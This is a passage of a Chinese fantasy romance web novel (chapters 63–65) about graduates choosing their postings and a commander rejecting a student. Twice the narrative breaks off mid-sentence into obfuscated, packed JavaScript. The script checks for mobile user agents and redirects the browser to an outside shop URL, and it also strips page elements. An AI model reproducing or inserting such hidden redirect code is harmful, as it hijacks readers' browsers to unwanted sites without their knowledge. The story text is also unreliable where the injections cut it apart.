祁素心毫不客气:“小巧怎么了?你认为剽悍是为贬义,我可不认为,若我不够剽悍,怎站得住这第三名?” 祁素心平日里话不多,与在场诸位往来也少,大家对她的性子不甚了解,今日听此一言,倒是从此刮目相看了。之后祁素心也认真说道,赦罗封座为强攻系断层之首,强攻系学子自当向往,能有机会自主选择在他门下效力,她求之不得。 所以,强攻系前三名的志愿就这么定了,那么后五名的去向也随之落定——竟还真在第一年就出现了极端情况,除了一人明确志向是天听阁以外,前三各选其一,后四就只能全员进入四部令了。 这四人中有两人,分别是赦罗和言萧鹤铁粉,虽略有失望,但也并无不满,毕竟全员都能入十一令,夫复何求。 医疗系没什么看点,一句话就分明了,朝黎留在桑家,南义宸入十部令,至于巫寻月——好像大家都已默认她会参与控制系的选择,在两人回答之后,她沉默之时,竟也无人追问。 最后到了控制系这边,可就有些状况了。先是第一名的东方曜沉默不言,后退一步让出话语权,第二名的慕学文毫无悬念选六部令,根本没人想问他,到了第三名的裴稷——他竟要选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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南义宸也是笑道:“原还以为能与你一同入十部令,日后若有不懂的可算有个相熟的同学请教了,还是我想得浅薄了。” 朝黎也忍不住问她:“寻月,那你可是想去三部令,还是九部令?” 二十双眼睛期待地盯着她,其中东方曜更是全神贯注,祁素心先是看了东方曜一眼,又再看向巫寻月,心底不由得生出紧张。 慕学文也是好心提醒:“这两部都很适合你,我伯父与云崖封座有些交情,云崖封座虽力量深不可测,但为人还算和蔼。九部令嘛……虽然司城封座看上去冷傲,实际上也……不是那么好说话,但你的必杀技可是很契合九部令的。” 在场引起哄笑一片,巫寻月也跟着笑起来,领情地点了点头:“好,我知道了。” 一场相商下来,还有一半的同学处在迷茫,可今日也只好如此了。 大家陆续散场,朝黎和巫寻月在一边说笑,不着急走,东方曜也还靠在一边愣神,祁素心鼓起勇气走向他,问:“你……不是一直崇拜司城封座吗?在犹豫什么?” 她一上来便开门见山,东方曜不由得一愣,话也不利索了:“我……你腿伤如何了?” 听他这么问,祁素心生出欣喜,脸上立时染了红晕:“……校医看过了,没什么大碍,只是这几日得注意些。” “好。”东方曜没多说。此时,巫寻月和朝黎已向门外移动了,见她身影有动静,东方曜立即看了过去——自然祁素心不会错过他的眼神。 东方曜就想起身过去,却意识到还有人在眼前,而后转向祁素心,说:“……你找我还有事吗?” 祁素心很是郁闷:“倒也无事。” 东方曜便直说了:“那我找寻月还有些事,你若腿伤不便,可等等我,稍后送你回去。” 也不知该说他憨直还是该夸他坦荡,此言一出,听得祁素心脸上一会红一会绿的,若再蛮缠,倒显得她小气了。于是祁素心说:“哦……倒是不用,我自己可以走。” 眼看巫寻月要出去了,东方曜不与她多说,起身追了过去,在门外的景观山石间喊住了她:“——寻月。” 巫寻月和朝黎一同回头,等东方曜近了,巫寻月主动问了他:“你在犹豫什么?这时候了还有别的考虑?” “我……”东方曜迟迟不言。朝黎见势明了,与巫寻月道别,先走一步了。随后祁素心也出来了,同样看了二人一眼,一言不发地走了。 人终于走光了,巫寻月又问:“怎么了?你不想去九部令了?” “……自然是想去,”东方曜一脸难言,满是愁苦,“这几日老师们见了我,都夸我毕业大考表现俱佳,非常适合九部令所求人才,昨日碰到梅老师,他还说连校长也夸我的天殛雷刑施展得不错,有几分司城封座的风采……” “岂止是如此,”巫寻月笑了起来,“我倒是觉得,你这次最出色的不是术法的运用,而是指挥能力!这才是最突出的优势,你是阵法课第一名,此次担任指挥,用得如鱼得水,如同已有丰富作战经验,这完全就是九部令精锐之才呀。” 东方曜被她夸得脸红,更是难以启齿了:“……也是运气好,也多亏你们配合。” 巫寻月再一次问:“那你在犹豫什么?”见他三缄其口的模样,巫寻月略有猜测,试探道:“你怕司城封座拒绝你?” 东方曜心虚地看了她一眼,却是松了口气——这话不用他自己说出来,让他好受多了。见他默认,巫寻月更是奇了:“怎么会呢?你毕业大考如此表现,且连校长都如此夸赞的话,想必他该是会在司城封座面前举荐一二的,你或许不知道,他们二人关系亲厚,时常相聚谈话,校长之言,司城封座定会多考虑的。” “若真是如此,那便好了……”东方曜长叹口气,决定还是直面自己,说了实话,“六年级时……我找七年级那边洵一战,一路打到司城宗祠,险些损坏宗祠院墙,触怒了山神,然后你便出现救了我们……” 巫寻月听他突然提起此事,约莫猜到了他想说什么。可她万万没想到,东方曜这个全程见证者,还看到了一些她未曾看到的事。 东方曜继续说:“你被山神打伤之后,司城封座就出现了,他将你救下,然后对我们说:让一女子替你们挡刀,当真是好本事……” 64. 第 64 章 东方曜话音落下,巫寻月惊现错愕之色,怔怔地定了许久。 见她如此,东方曜更是心灰意冷了,愁苦道:“你也觉得司城封座说这话,定是对我恼极了,他……他怎还会再接收我入九部令。” 巫寻月几乎要按捺不住喜色,脑海中似有闷雷轰响,遮蔽了一切,让她一时顾不上别人说什么了。半晌,她才如梦初醒般回神,强压住欲翘起的嘴角,好言劝慰道:“他……我是说,司城封座他……如此人物,该是大人有大量,怎会和你一个学生计较,且当日他也并不知你是谁呀。” 东方曜未能有一分放松,叹气道:“都怪我,当时鲁莽,若司城封座真因此拒收我,也是应该的,我该为自己的无知负责。” 观他如此诚恳,巫寻月倒是心生钦佩了,由衷地说:“你真是长大了不少。” 东方曜看向她,认真说:“寻月,这都要感谢你,从你身上我真的学到了很多。” “那是,”巫寻月一点也不客气,“要是不比你明些事理,我这年长的几岁是白长了?” 东方曜被她逗笑了,两人一起笑了起来,巫寻月明显看到,东方曜对她不再似从前那般拘谨,也不再那般露怯了,男人坦然起来,个头看着都高了几分。东方曜收了笑意,脸上全是释怀,道:“寻月,我的确有许多太不如你,你该有更好的男子相配。” “嗯哼,”巫寻月背着双手,下巴高翘,趾高气扬道,“那我得好好等着看了。” 猝不及防,东方曜想也不想就说:“司城封座当配你。” “噗——”巫寻月吓得一口老血喷出,猛烈咳嗽,吓得东方曜真以为她不舒服了,连连致歉。可她分明压制不住欣喜,脸上都笑出褶子了:“你你你——你能不能有一刻心里别想着他,怎么张口闭口都是他……” 就连与外人提起,也还是“他”,实在不愿称那冠冕堂皇的“司城封座”。 东方曜这傻小子自然瞧不出她的心思,只好一笑:“好,我尽量不想。” 巫寻月还是得好好宽慰他:“我觉得司城封座不至于为了这点事记挂至今,他是何人物,每天要处理那么多大事,哪能跟一个小孩儿过不去,说不定早不记得了,且你毕业大考如此优秀表现,九部令求之不得才是,我实在想不出他会拒绝你,你且放心投报。” 有巫寻月一番鼓励,东方曜踏实多了,眉间愁云终于散去几分,目光一沉,笃定道:“好,那我便一试。” 巫寻月不知道的是,司城凛的确每天要处理许许多多的大事,而她自己——于他也是一件大事。或许对别人来说,东方曜还真就只是一个小孩儿,对司城凛来说,可不是。 此时正是上午,与巫寻月一别之后,东方曜就坚定地回去填写了自己的志愿,午前便已交到老师手里,所以,十数里外神都城中的某人,当天下午就收到了这个结果。 拒收优秀毕业生并不需要写理由。所以,千山昙现向司城凛汇报此事时,得到的吩咐是:“拟一份拒信,交由我签字。” 在场部下无不惊讶,之间相视一眼,一时未动。千山昙现也不得不再确认一遍:“……封座大人,此生是今年控制系第一名,毕业大考的表现您也看到了,以一人之力施展天殛雷刑就击破了星罗天覆,且梅祭酒也认同此生敦厚,是个可造之材……” 司城凛在低头忙别的事,好像全然没听见,又或者根本不打算改主意。见此,千山昙现明白了,行礼道:“属下明白。” 离了书房,几人议论纷纷:“怎么回事?此人有何问题吗?怎么封座大人好像不喜欢他?” “未曾听说啊,东方家也不过是寻常勋贵,算不上高门大族,该是不会与封座大人有何过节吧……” “可惜了,我亲见那天殛雷刑,用得可比前几年进来的毕业生都好,且还是布阵领队,阵法转换神思敏捷,这不正是我部所求全才吗……” 千山昙现打断了他们:“好了,封座大人自有他的考虑,这些议论不可在大人面前再提——你去把拒信写了,之后直接交给大人签字吧。” 千山昙现将差事吩咐了下去,就忙别的事去了。后来他有事再去书房找司城凛,正在那时,负责撰写拒信的部下进来了,将书稿交由司城凛。 公文公式的措辞,不带任何感情,司城凛通读一遍,确认没有错误,毫不犹豫地提笔签了名。之后他从抽屉中取出九部令印玺,往签名处按压——一方由负屃龙爪所构成的“九”字立现。他将折子合起,递了出去。 部下出去了,千山昙现还在,他对司城凛虽也是百般尊崇恭敬,可到底不像其他部众那么畏惧,便说笑两句:“封座,现下这一名您拒了,第二名是慕家那小子,自是要去慕封座的六部令,第三名我倒是未曾听说,但除此之外——还有那位双修真灵呢,各部可也都在紧盯她的意向,此生为我族唯一医疗系控制系双修之才,您可有意揽之?” 千山昙现注意到,司城凛眼帘一动,定在了某处。于是他接着说:“由于今年毕业生志愿改革,优秀毕业生需限时投报,虽此生是真灵独为一档,但学校也安排她与其他三甲同一批投报,可就在这两日了。” 司城凛终于抬头看他,道:“你倒是了解。” 千山昙现笑了笑,此等美事,他早等着跟封座大人分享:“封座,且不说各部现在都盯着此事,也会互通一二,其次呢……封座或许不知,我部云停在追求此生,对她颇为上心,说不定啊还能将人拐来呢!” 司城凛眼色一滞,问:“你说谁?” “我部间令燕云停……您是问那位真灵毕业生吗?” 司城凛没做声,缓缓搁了笔,身子向后一靠,广袖一展,威势天成。他开口问:“什么时候的事?” 见封座大人难得对八卦感兴趣,千山昙现怎能不殷勤告知:“该是有些时候了,虽说我们云停家世相貌实力皆是百里挑一,多少姑娘求之不得,可毕竟人家是双修真灵,千古奇才,自然也是有些傲气——不过封座大人您放心,这姑娘也并非对我们云停毫无反应,之前他们已有过相约,云停也时常会去神都学宫见她,怎么说也该是有些眉目的,没准她真的会为了云停来我们这呢!” 千山昙现说得越发起劲儿,全然没有注意到,司城凛的脸上阴云密布,那沉静的眼眸深处,已是一片足以冰封千里的凛冽杀机。 ……有过相约……时常去神都学宫见她…… 千山昙现说完了,方才他绘声绘色,话音落下,目光才回到司城凛脸上,却瞧着……怎么如狂暴前夕的死寂,静得令人发怵,甚至感觉这屋内空气骤变稀薄,莫名窒息…… 千山昙现脊背发凉,却不知哪里出错了,试探道:“……封座大人?” 司城凛坐定不动,如渊俊颜不起一丝波澜,只声线更沉厚了几分:“下去吧。” “……是,”千山昙现就等这句了,腰身麻利一低,行礼道,“属下告退!” 千山昙现没敢再看司城凛一眼,步步后退,稍远些便转身疾步出去了。直到他轻轻关上书房的门,才长长地松了口气,转身迈出轻快的步伐,却没走几步,脸色骤变—— 一股灭世之力如同一只从天而降的神祗巨掌,无形而全面地将他重重压制,他根本来不及反应,一只膝盖便已着地,脖颈甚至也抬不起来。耳畔响起轰鸣,他什么也听不到了,视线也变得模糊,强烈的窒息感令呼吸变得急促,他以仅存的一丝意识运灵维持,勉强支撑自己保持清醒…… 这是……封座大人的灵压,如神魔降世,惊天泣地。 千山昙现愕然瞪眼。他的确从未亲见司城凛的实力,只知他与风族敖星泓交手战平,且六令封座慕之遥也曾表示,自己已难以与他一战……却从未想过,他仅仅只是释放灵压,就已经让自己毫无还手之力。 这灵压狂暴无极,不带任何克制,淋漓尽致地泄出了怒意。千山昙现强撑一丝意识,喃喃道:“封座大人这是……生气了……” 与此同时的桑府,却是一片风雅祥和。池中莲花大片绽放,馥郁灵气清新散逸,连路过的飞鸟都忍不住停下,或歇息或采食。 桑川禾今日在家,便安排巫寻月在桑府见面。他自然是清楚她此行要说什么,这小朋友有心亲自面见他道明,他也是乐见得很。 桑川禾寻了府中一处纳凉观景台,等着巫寻月过来品香喝茶——自然品的是药香。她人刚到,他就对她说,上次她来府中正是冬日,天寒不便邀她赏景,此时初夏,正是好时候。 见桑川禾如此有心记着,巫寻月脸上又添了几分愧色,桑川禾未在看她,却已主动道出:“不必有愧,你能来看我这个老头子,老夫甚感欣慰,无论你做出什么选择,今后走什么样的路,若你始终怀有医者之心,我们就永远是一家人。” 虽然还未见过空相宗主,但就巫寻月目前所见这四位,若论谁最有神性,非桑川禾莫属——她绝对没有不尊重梅校长的意思,只是校长于神都学宫学子来说,始终如祖如父般亲切,而桑川禾,却是实实在在如神祗般,有一种想要虔诚托付的安宁。 他一头白发如月华流泻,容颜经岁月打磨,如玉质俊美,眉宇间凝着一种化育万物的悲悯,静聆众生疾苦。也或许巫寻月与他灵气同源,总感觉到自他灵魂深处散发的草木灵气精纯如创世源力,仿佛这世间草木生发与枯荣皆以他为韵律,让人不自觉心生朝拜。与之对坐,如入圣祠,不敢高声,唯恐惊散这满院慈悲。 巫寻月正襟端坐,满怀虔诚,道:“桑宗主,寻月一生,绝不敢忘为医之道。” 桑川禾浅浅一笑,给她的杯盏中添茶,问:“可是想去十一部令?” “……是,”巫寻月终于说出口,“这都得感谢您当日提点,若不是您向学生说明十一部令,或许学生也会和多数人一样对之不甚了解,便也就错过了。” “既能帮你找到心之所向,也不算辜负了你称老夫一声长辈。” 桑川禾这是在说笑,巫寻月却是诚心:“桑宗主哪里话,是学生辜负了您。其实学生并非刻意拖延不表态,只是的确拿不准毕业大考会如何表现,不怕您笑话,学生险些就没能从问心尊者的幻象中出来……” “心中牵念太强,未必就是坏事,”桑川禾淡然如茶,似乎再坏的事在他那里永远会有一丝生机,“心里越有挂念,就越是坚定,就越是知道,自己想要什么,该到哪里去,是不是?” “是。” “还有什么原因?” 桑川禾看着她,温然而笑,巫寻月如被神光照拂,什么都愿意坦而告知:“我……其实我就是个野丫头,没想过有什么抱负,能成才便好,不成也就罢了,从不敢想修成封灵……这七年在学校,虽然有同学、老师还有您照拂,我的确很快乐,可也多了太多我不愿意不想要的关注,我实在……是厌了,也倦了,总觉得该到一个不那么容易被注意的地方,那样我会好些。” “所以,十一部令老灵宗不在,副座代掌,他看待部下总不会像座首那般,以培养继承人待之——你可是如此想的?” 巫寻月有些羞愧,只得默认,倒是让桑川禾笑了起来。而后,他又说:“不知为何,你让老夫想起了司城家那个孩子。” 听到这二字,如激活她全体神经,巫寻月骤一定神,轻问:“是吗?” “是现在的司城宗主,老夫年纪大了,偶然恍惚间会不知今夕何年,也就忘了他已继任掌家……如此称呼,实有些不敬,还望你替老夫保密。”桑川禾调皮地眨了眨眼。 巫寻月笑 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巫寻月立即去找他,他自然满是失落,虽然说着自责,在意料之中,却也难掩一丝惊诧。巫寻月比他更吃惊,可到底是她鼓励他投的,现下她更多的是愧疚:“我是真没想到……司城封座如此天威之人,定是不会因一桩小事记仇,他或许是有别的考虑,认为你不合适,希望你另选一个更合适的去处?” 东方曜难过得都不会说话了。巫寻月只好又说:“没关系的,今年志愿改革,你还可以再选,又不是被拒了就没别的可选了……” 东方曜似乎无心去想下一步,一心沉湎于被偶像拒绝的失落,巫寻月说了什么也没太听得进去。 这事的确大大超出巫寻月料想,她一夜没睡好,次日一早就到处去找老师打听,却无人知晓原由。若要探听司城凛之意,自然她没忘记学校里有一个合适的梅见蹊,便直奔临崖阁去了。可梅见蹊并不在那里,负责打扫的侍从说,他去了校长书房。 巫寻月考虑一二,决定上去一趟,若梅晏晷在,也正好为东方曜辩护一二,看看通过校长此事能否还有转圜。 巫寻月到了门口,抬声通报姓名,里面默了一阵之后,才有脚步声渐近。开门的人是梅见蹊,一见到她,他笑得乐开了花,让她觉得甚是离奇。 梅见蹊先探探:“你怎么来了?” 巫寻月说实话:“其实是找你,先去了临崖阁,那里的人说你来这里了。” “找我?”梅见蹊一脸惊奇,后退一步,回头看了看里面,生怕被人误会似的,“找我干什么——你进来说吧。” 梅见蹊说着,给她让出了路——至于为什么是给她让路,不是先进去,他当然要站在身后开上帝视角,好好瞧瞧这一出好戏。 巫寻月提步进了门。校长书房她来过,一进去便是一扇巨大屏风,薄纱微透,映出屋内之景。透过屏风提墨诗文之间,巫寻月隐约看到屋内有一人影,他正坐在榻上喝茶,却没有一点动静,屋子里除了泥炉煮水的翻滚之声,便只有她的脚步声了。 巫寻月再往前走了几步,忽然凝神,觉得不太对……那人的身影不像是梅校长,身形更显健阔、拔直,不具长者之态,一头乌丝披肩,不像梅校长那般掺着白发……那会是谁? 巫寻月终于走出屏风,一眼望见那端坐榻上之人,脚步猛然止住,就连呼吸,也瞬间停滞了。 司城凛未着官服,一袭水波烟羽纹广袖长袍,顶戴流云锁玉银冠,鬓边发须稍稍遮住了眉眼,让她看不清,只见他正悬壶高冲,沸水撞入茶甑,激起白雾,水汽模糊了他棱角分明的下颌,唯有执壶的手骨节分明,稳如磐石。 好像自她入神都,见他的那寥寥几次,不是玄青官服,便是墨色华服,玄墨自成威仪,带着深重的压迫感,都快让她忘了,他穿起浅色来是这副清逸之气,恍惚间,仿佛让她回到了那年花海间,而他,也只是那个她心里带着少年侠气的清俊郎君。 茶冲好了,司城凛还在不疾不徐地分茶入盏,似乎未曾察觉到有人来访。巫寻月还愣在原地,而梅见蹊已来到她身边,见两人如此,他可没打算假惺惺介绍什么“这是司城封座”——搭个台给他们唱戏?当他闲的? 见司城凛不说话,巫寻月也不说话,探向一边的梅见蹊,问:“校长不在吗?” “刚出去了,要晚些回来,”梅见蹊站得离她稍近,又问,“你找我还是找校长?” “……都找。” “哦?”梅见蹊提步向前,至榻上落座——这样一来,她就不得不转向司城凛的方向了,梅见蹊很乐于看戏,“你要干嘛?” 巫寻月还是刻意偏转了些,未正对那茶榻,可眼下正主就在眼前,她一时竟不知如何开口了。 梅见蹊到底看不得人沉默,又提了一句:“你志愿尚未提交,时间不多了,怎有空跑到这里?” 巫寻月说:“你怎知我不是来找校长讨教此事的?” 梅见蹊好笑一声:“你刚才说是来找我的,定然不是为了志愿而来。” 司城凛沉默地听着这一切,不动声色。 “哦。”她心乱了,思绪有些前后不接,已在竭力说服自己冷静。可就在突然间,她意识到哪里不对——若她当面提问司城凛为何拒了东方曜,若他承认因当时之事记恨,是不是也能连带承认……是他将她抱去了桑府。 巫寻月神色陡然一定,开了口:“原是来找梅老师的,却也是为了询问与司城封座相关之事。” “——哦?”梅见蹊十分故意,眼睛睨向对面。只见司城凛动作停滞,右手由案几移回凭几之上,身子未对向她,目光却已有偏移。 梅见蹊看见,他们终于就此,对上了彼此的眼睛。 65. 第 65 章 自然,司城凛全然以威凛之气压制一切,巫寻月看起来也是倔得很,否则怎么会见了他连装样子行礼都不装。 司城凛开了口:“可要直接问我?” 梅见蹊嘴角一扯,若他想的没错——这该是他们之间七年来的第一句话。 巫寻月用了数息来接受这个事实,终于鼓足勇气正向对他,四目相对间,她逼自己比他更冷漠,说:“敢问司城封座,为何拒了我同学东方曜入九部令?” 梅见蹊低了低头,把笑憋回肚子里。 司城凛答得很干脆:“他术法浮躁,不知调和,是为大忌,我部行事,需对全局绝对掌控,此等心性,非我部所需。” 巫寻月直视司城凛,语气不轻,却也不重:“司城封座指的,可是他毕业大考的表现?” 司城凛平静地与她相视,没有很快作答。 梅见蹊在心底窃笑,他知道她聪明得很,司城凛这不咸不淡偷梁换柱的说法休想一举蒙混过去。而他终究是司城凛,即便是心知肚明,应付这点说法,又怎会为难得了他,他说:“心性为人之根本,不易更改,可见微知著,一叶知秋。” 巫寻月在心底冷笑,他真是冠冕堂皇、光明磊落得很,言辞中正得挑不出一点错——若他的意思是东方曜当初为了私人感情不计后果找学长打架,还险些破坏司城宗祠闯下大祸,有此心性有违中和之道,自然也不适合九部令,她还真是无话可说。 看来,司城凛是彻底想绝了东方曜的念想。可既已求到他面前,无论如何,她还是得把话说透。巫寻月缓缓抬手,向他恭恭正正地行了礼:“司城封座大人,学生深知您识人透彻,九部令用人也极为严苛,可我同学毕竟还是个未及冠少年,心气或有浮躁,实力却的的确确是本届第一,是个可塑之才,若您能再有所考虑,予他指点一二,将来他必不会令您失望。” “嗒——”地一声,司城凛手中茶盏落定,他身形未动,眉宇未蹙,那声落盏轻响,却如同寒冰术法尽展,令人悚然生畏。司城凛掀起眼帘,淡漠地扫了过去,道:“你今日来寻校长,是为他求情?” 感觉到他明显气压不对,巫寻月心头一抖,却坚持:“是。” “为何是你替他求情?” 司城凛的眼神冷得彻骨,明明是初夏,巫寻月却觉得呼吸间全是寒气。她沉了口气,诚恳十足地道来:“我同学东方曜年纪尚浅,性情略为憨直质朴,不善言辞,自收到您的拒信后,就一直深陷自责与自我怀疑之中,不敢替自己分辨。东方曜一直视您为心中所向,一言一行皆以您为范本,苦修七年未曾懈怠,我深知他刻苦,也认同其实力,不忍见其因一次失误而蒙尘……因此斗胆前来替他申辩,还望司城封座能再给他一次机会。” 她一口气说完了。屋子里静得很,泥炉滚水之声有心缓和紧张,低缓而动。梅见蹊听她说完,目光向司城凛一偏,那厮自不会有什么好脸,梅见蹊好奇的是,面对的是她,司城凛能吐出什么尖酸刻薄之语。 果不其然,司城凛没让梅见蹊失望,声线沉压,开了口:“你深知他刻苦……你对你同学,倒是尽心得很。” 巫寻月一怔,被他话中讥讽所刺,胸中委屈翻涌,一腔诚勇当即弱了下去:“于本届之中,我为年长,自有些看护之责。” “看护之责……”司城凛冷彻不减,“那你还真是忙得很啊。” 司城凛这话带了明显的怒意,连梅见蹊都不由得愣了愣。今日司城凛来时脸色已然不对,虽然什么也没说,但煮的第一壶茶入口便是未化开的火气,浊苦难咽,梅见蹊尝了一口便想破口大骂了——简直如同含了一口被碾碎的枯叶,还以为这厮是特意来整他的! 结果,就有人这么不偏不倚撞上了枪口——说是她撞枪口,可看他接二连三这阴阳怪气,没准,这火便是从她身上烧起来的。 一同愣住的,还有巫寻月。她思绪迅速流转,苦想究竟是哪里惹恼了司城凛,若要说东方曜最大的过错,那也便是去年于司城宗祠前相斗一事了。 巫寻月咬了咬唇,说服自己再冷静,伸手将下摆一扬,双膝跪地,正身作揖,开了口:“学生不敢欺瞒司城封座大人,去年有同学因练功比试,不慎惊扰司城宗祠,其中正有东方曜,因此今年填报志愿时,他忧虑重重,是我鼓励他,说您是宽宏大量、不计前嫌之人,必定不会因此记恨,而无视了他的才华与实力,还望司城封座大人能够惜才,不至因他年少无知而全然否定,让九部令错失人才。” 她一番言辞恳切,换了旁人,该是佩服且动容的。可偏偏,这是司城凛。 司城凛已不在看她,虽不见其眸色,只闻其声,那倾覆般的压迫感却也不减分毫:“你的意思是,我九部令没了他,还真是一大损失。” 巫寻月斗胆,干脆道:“是。” 这一声明显的顶撞,让司城凛将目光重放向她。她一副低声下气的姿态,眼中却满是倔强、委屈,甚至还有怨怼。他动了唇:“你是太看得起他,还是太轻看我九部令,又或者……是太看得起自己。” 这话说得太重,惊得巫寻月当即泛起泪光,就连梅见蹊也坐不住了,抬声救了场:“哎,这个……寻月同学有心维护同学,也实属心善,虽有所顶撞,还请司城封座莫要计较。” 见她如此,司城凛收回目光,语气却未有缓和:“依你之言,若本座不收此子,那就是本座不宽宏大量、小人之心了。” 巫寻月只说:“学生不敢。” 司城凛起了身,梅见蹊也跟着站起来,目送他徐徐离坐,继续道:“拒信已出,本座不会更改此决定。” 经过巫寻月身边时,司城凛脚步一滞,却不再看向她,最后说:“你若有疑,可上书天听阁复议。” 说完,他便提步往前,扬长离去。 留她一人在原地酸涩失落。 梅见蹊也懒得送他,见他人彻底消失了,看向巫寻月,说:“起来吧。” 巫寻月用力地吸了吸鼻子,起身时低声唾骂:“……也不知道成天凶神恶煞端着个脸给谁看!” “哎哎哎,失礼,”梅见蹊拿扇子指了指她,“怎可妄议司城封座。” 巫寻月一股火气没地方发呢,瞪着梅见蹊就嚷:“你助纣为虐!” 梅见蹊满脸无辜:“此人的决定,我还能左右得了?” “那他现在都欺压你神都学宫的学生了,还是本届第一名优秀学子!”巫寻月简直是气势汹汹,“你可是我们老师,你帮谁?” “我自然是帮理。” 巫寻月一声讪笑:“哦,所以你觉得他如此计较,有理得很。” 梅见蹊抱胸看她,颇有无奈,虽说司城凛一向脾性如此,但也绝不是恃权独断、暴怒无常之人,否则治下能像如今这么拥戴吗?今日如此反常,怕是有人触了逆鳞——那他除了她,还能有别的逆鳞? 梅见蹊甚是无语——你们七年不见,上来就这出啊?他折着眉头,说:“此事学校会妥善处理,我倒是要问你——你和那燕云停怎么回事?” 巫寻月愣住,迟了迟才看向司城凛方才的座位,问:“……是他说的吗?” “还须他说?毕业大考那日,祝福不都当着我面送到你头上了吗?”梅见蹊的折扇甩来甩去,替他演了一出眉飞色舞。 正好,她已憋了许久了,怀着怒意厉声道:“我跟这个人什么都没有!” “嚯,我可还记得去年祭神典你们便已有所往来。” “那日才是我第一次见他,”巫寻月满腔愤懑,却老实巴交地解释,她实在是怕有一点点的误会传入那个人耳中,“后来他是对我有意,可早在上学期我就已经跟他说清楚了我们不合适,后来就再未联系,毕业大考那日如此突然,我也是觉得突兀得很。” 见她一副急得快哭的样子,梅见蹊越发不咸不淡了:“干嘛这么急着跟他撇清关系,我又没说什么,我们寻月才貌无双,那燕云停也是样样上佳,可称人中龙凤,是个好归宿,老师也是觉得放心的。” 巫寻月先是怨气沉沉地看着梅见蹊,随后竟笑了:“这可是你说的。” 梅见蹊脸色一僵,他早该料到这小丫头不好斗的,出言激她作甚。到了此刻,他忽然如神通一点,领会了方才司城凛所言,学着道:“你的确是忙,自己的毕业志愿还未落定,就操心起同学的了,现下……可还要再添一桩事?” 巫寻月的脸一下子就耷拉了下去。 的确,在替别人操心之前,她该把自己的志愿解决了先。此时尚早——也不知道司城凛一大早跑神都学宫来干什么,巫寻月离开校长书房之后便回到宿舍,提笔填写自己的就业志愿。 其实,也有一丝犹豫。自然不是为了九部令——是为了三部令,云崖朝乾带领下的最强控制系灵师队伍,是每一位控制系学子的终极向往,在三部令,她就能够见识到全灵族所有的控制系顶尖天才,而她,也将会成为其中一个。 不止她自己这么想,几乎所有人都这么想——她巫寻月的志愿,无非落在三部令和九部令其中一个。选三部令,是众望所归;选十一部令……落差是有些太大了。 可到底,巫寻月不为别人而活,也不在乎什么不孚重望——若她真是金子,那将来的十一部令,必定因她而金碧辉煌。 巫寻月郑重写下自己的志愿,装好封蜡,交给了负责的老师。 这可是双修真灵的志愿,谁不得特提加急处理,毕竟谁都想知道她究竟写了什么。所以,信封才交出去不到半个时辰,全校皆知,午前便已交到十一部令副座沙无痕的手中,到了午休时间,十一令间一片哗然。 慕丹青先是在食堂里被人围堵,出去散步又被堵了几轮,一波又一波人问的都是同一个问题——“巫寻月选十一部令你知道吗?为什么啊?”慕丹青自然知道如何应付他们,只是枫若恒来问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015348|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她还特意交代,不许他再向燕云停透露巫寻月的事。 慕丹青都下了禁令,枫若恒自不会阳奉阴违。可毕竟燕云停是他挚友,不问清楚他终究难安:“寻月是真的一点也不喜欢云停吗?可我看他们之前还挺有希望的……” “难道人就不可以有迷茫的时候吗?我对你也并非一开始就那么清楚,”慕丹青压了压火气,好好说,“之前是之前,现在她想明白了。” 枫若恒见她有气,只得小心道:“想明白……什么?她是觉得哪里不合适了?” 慕丹青斟酌一二,决定对他说实话:“她……她心里有人,有一个心爱多年的人,此事我可以为她做主,若你想告诉燕云停,我不拦你。” 这实话巫寻月自己对燕云停说是残忍,可从旁得知,就不是了。 所以当夜,巫寻月迫不及待跑去慕府找慕丹青得知这一切时,忍不住跳起来抱着她转起了圈,那尖叫声都要掀翻屋顶了:“——慕丹青!你可真是我的好双胞胎!” 慕丹青白眼都要翻上天了,疲倦地道:“今日你选投十一部令之事传开,你都不知道!我被人围堵得水泄不通!七嘴八舌地一个接一个问,我耳朵都要起茧子了!” “哎呦怎么办呢,”巫寻月歪着脑袋冲她眨眼,“当大明星的朋友很累吧?是不是很想绝交?” “好好好,”慕丹青作势就把她的手摘了下来,理直气壮说,“玉文瑛都能这么做,我为什么不能?绝交,现在就绝交。” “你做梦。”巫寻月更紧地黏住了她,让她推都推不开。 慕丹青没好气地做鬼脸,然后说:“今日你志愿传开,其实最淡定的人还是沙副座,听说他笑了笑,也不多说,提笔就给你撰写复文,之后就忙别的事去了,倒是十一部令的人都很高兴呢。” “沙副座既能全权代掌座首,自有其胸襟,要管的事多着呢,”巫寻月显得很开心,“这就是我想要的状态。” “那你同学东方曜那边,可怎么说?” “我来找你,正是要说此事。”巫寻月长叹口气,把今日在校长书房里见到司城凛的事,都告诉了慕丹青。 慕丹青越听,脸色越发煞白,到最后下巴都快掉到地上了,惊惧交加地喝道:“——你怎敢如此道德绑架司城封座!” “是我不自量力了,”巫寻月承认得坦荡,也没把满脸失落藏起来,“我承认,我是故意的……虽然我的确是急了些,想不到别的办法了,但我……总也想试试,我的话有没有用。” “寻月!”慕丹青简直是难以置信,眼神像是看着一个自己不熟悉的人,“你怎能如此胡闹?那是司城封座!是司城宗主!于灵族,他就是权威,就是法度,你知道若他因你而改口,那意味什么吗?” 巫寻月老老实实地坐定,眼底泪光若现,她轻轻道:“我知道,我知道司城封座是权威,是法度,但我不知道……那个人是不是也是。” 在她心里,司城封座和她心爱的男人,终究有别。慕丹青正不知该说什么时,巫寻月吸了吸鼻子,目光陡转,已然变得坚韧起来:“丹青,是我错了,但我不后悔,七年了,在我毕业之前我们能第一次这样相见,或许注定我要如此一试,才让我彻彻底底明白,我要面对的,是一个什么样的男人。” 